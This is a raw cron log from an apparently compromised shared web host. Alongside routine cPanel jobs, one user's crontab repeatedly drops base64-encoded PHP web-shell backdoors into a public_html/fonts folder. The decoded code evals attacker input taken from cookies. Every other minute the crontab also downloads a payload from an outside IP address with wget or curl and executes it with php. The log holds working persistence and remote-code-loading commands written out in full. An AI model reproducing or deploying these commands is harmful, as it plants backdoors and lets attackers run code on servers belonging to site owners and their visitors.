Sep  9 14:15:01 ip-184-168-122-23 CROND[30937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30938]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:15:01 ip-184-168-122-23 CROND[30940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:16:01 ip-184-168-122-23 CROND[31037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:16:01 ip-184-168-122-23 CROND[31041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:16:01 ip-184-168-122-23 CROND[31039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:16:01 ip-184-168-122-23 CROND[31042]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:16:01 ip-184-168-122-23 CROND[31040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:16:01 ip-184-168-122-23 CROND[31043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:17:01 ip-184-168-122-23 CROND[31141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:17:01 ip-184-168-122-23 CROND[31142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:17:01 ip-184-168-122-23 CROND[31144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:17:01 ip-184-168-122-23 CROND[31145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:18:01 ip-184-168-122-23 CROND[31249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:18:01 ip-184-168-122-23 CROND[31250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:18:01 ip-184-168-122-23 CROND[31251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:18:01 ip-184-168-122-23 CROND[31253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:18:01 ip-184-168-122-23 CROND[31255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:19:01 ip-184-168-122-23 CROND[31433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:19:01 ip-184-168-122-23 CROND[31435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:19:01 ip-184-168-122-23 CROND[31436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:19:01 ip-184-168-122-23 CROND[31437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31517]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:20:01 ip-184-168-122-23 CROND[31528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31530]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:20:01 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:21:01 ip-184-168-122-23 CROND[31617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:21:01 ip-184-168-122-23 CROND[31620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:21:01 ip-184-168-122-23 CROND[31619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:21:01 ip-184-168-122-23 CROND[31621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:22:02 ip-184-168-122-23 CROND[31725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:22:02 ip-184-168-122-23 CROND[31728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:22:02 ip-184-168-122-23 CROND[31727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:22:02 ip-184-168-122-23 CROND[31729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:22:02 ip-184-168-122-23 CROND[31731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:23:02 ip-184-168-122-23 CROND[31817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:23:02 ip-184-168-122-23 CROND[31820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:23:02 ip-184-168-122-23 CROND[31818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:23:02 ip-184-168-122-23 CROND[31819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:24:01 ip-184-168-122-23 CROND[31977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:24:01 ip-184-168-122-23 CROND[31980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:24:01 ip-184-168-122-23 CROND[31979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:24:01 ip-184-168-122-23 CROND[31978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:24:01 ip-184-168-122-23 CROND[31981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:25:01 ip-184-168-122-23 CROND[32089]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:25:01 ip-184-168-122-23 CROND[32096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:26:01 ip-184-168-122-23 CROND[32214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:26:01 ip-184-168-122-23 CROND[32215]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  9 14:26:01 ip-184-168-122-23 CROND[32216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:26:01 ip-184-168-122-23 CROND[32217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:26:01 ip-184-168-122-23 CROND[32221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:26:01 ip-184-168-122-23 CROND[32219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  9 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  9 14:27:01 ip-184-168-122-23 CROND[32390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:27:01 ip-184-168-122-23 CROND[32392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
